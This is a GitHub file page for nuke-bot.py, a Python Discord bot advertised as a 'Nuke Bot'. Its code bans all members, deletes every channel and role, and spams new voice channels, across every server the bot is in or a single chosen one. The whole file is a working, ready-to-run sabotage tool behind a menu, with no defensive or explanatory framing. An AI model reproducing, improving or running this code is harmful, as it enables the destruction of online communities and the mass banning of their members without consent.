-
Notifications
You must be signed in to change notification settings - Fork 44
/
Copy pathnuke-bot.py
147 lines (134 loc) · 4.81 KB
/
nuke-bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import discord
from discord.ext import commands
from colorama import init, Fore as cc
from os import name as os_name, system
from sys import exit
init()
dr = DR = r = R = cc.LIGHTRED_EX
g = G = cc.LIGHTGREEN_EX
b = B = cc.LIGHTBLUE_EX
m = M = cc.LIGHTMAGENTA_EX
c = C = cc.LIGHTCYAN_EX
y = Y = cc.LIGHTYELLOW_EX
w = W = cc.RESET
clear = lambda: system('cls') if os_name == 'nt' else system('clear')
def _input(text):print(text, end='');return input()
baner = f'''
{r} _ _ _ {m} ____ _
{r}| \ | |_ _| | _____{m}| __ ) ___ | |_
{r}| \| | | | | |/ / _ {m}\ _ \ / _ \| __|
{r}| |\ | |_| | < __{m}/ |_) | (_) | |_
{r}|_| \_|\__,_|_|\_\___{m}|____/ \___/ \__|
{y}Made by: {g}https://github.com/Sigma-cc'''
async def delete_all_channel(guild):
deleted = 0
for channel in guild.channels:
try:
await channel.delete()
deleted += 1
except:
continue
return deleted
async def delete_all_roles(guild):
deleted = 0
for role in guild.roles:
try:
await role.delete()
deleted += 1
except:
continue
return deleted
async def ban_all_members(guild):
banned = 0
for member in guild.members:
try:
await member.ban()
banned += 1
except:
continue
return banned
async def create_roles(guild, name):
created = 0
for _ in range(200 - len(guild.roles)):
try:
await guild.create_role(name=name)
created += 1
except:
continue
return created
async def create_voice_channels(guild, name):
created = 0
for _ in range(200 - len(guild.channels)):
try:
await guild.create_voice_channel(name=name)
created += 1
except:
continue
return created
async def nuke_guild(guild):
print(f'{r}Nuke: {m}{guild.name}')
banned = await ban_all_members(guild)
print(f'{m}Banned:{b}{banned}')
deleted_channels = await delete_all_channel(guild)
print(f'{m}Delete Channels:{b}{deleted_channels}')
delete_roles = await delete_all_roles(guild)
print(f'{m}Delete Roles:{b}{delete_roles}')
created_channels = await create_voice_channels(guild,name)
print(f'{m}Create Voice Channels:{b}{created_channels}')
#created_roles = await created_roles(guild,name)
#print(f'{m}Create Roles:{b}{created_roles}')
print(f'{r}--------------------------------------------\n\n')
while True:
clear()
choice = input(f'''
{baner}
{c}--------------------------------------------
{b}[Menu]
{y}└─[1] {m}- {g}Run Setup Nuke Bot
{y}└─[2] {m}- {g}Exit
{y}====>{g}''')
if choice == '1':
token = _input(f'{y}Input bot token:{g}')
name = _input(f'{y}Input name for created channels / roles:{g}')
clear()
choice_type = _input(f'''
{baner}
{c}--------------------------------------------
{b}[Select]
{y}└─[1] {m}- {g}Nuke of all servers.
{y}└─[2] {m}- {g}Nuke only one server.
{y}└─[3] {m}- {g}Exit
{y}====>{g}''')
client = commands.Bot(command_prefix='.',intents=discord.Intents.all())
if choice_type == '1':
@client.event
async def on_ready():
print(f'''
[+]Logged as {client.user.name}
[+]Bot in {len(client.guilds)} servers!''')
for guild in client.guilds:
await nuke_guild(guild)
await client.close()
elif choice_type == '2':
guild_id = _input(f'{y}Input server id:{g}')
@client.event
async def on_ready():
for guild in client.guilds:
if str(guild.id) == guild_id:
await nuke_guild(guild)
await client.close()
elif choice_type == '3':
print(f'{dr}Exit...')
exit()
try:
client.run(token)
input('Nuke finished, press enter for return to menu...')
except Exception as error:
if error == '''Shard ID None is requesting privileged intents that have not been explicitly enabled in the developer portal. It is recommended to go to https://discord.com/developers/applications/ and explicitly enable the privileged intents within your application's page. If this is not possible, then consider disabling the privileged intents instead.''':
input(f'{r}Intents Error\n{g}For fix -> https://prnt.sc/wmrwut\n{b}Press enter for return...')
else:
input(f'{r}{error}\n{b}Press enter for return...')
continue
elif choice == '2':
print(f'{dr}Exit...')
exit()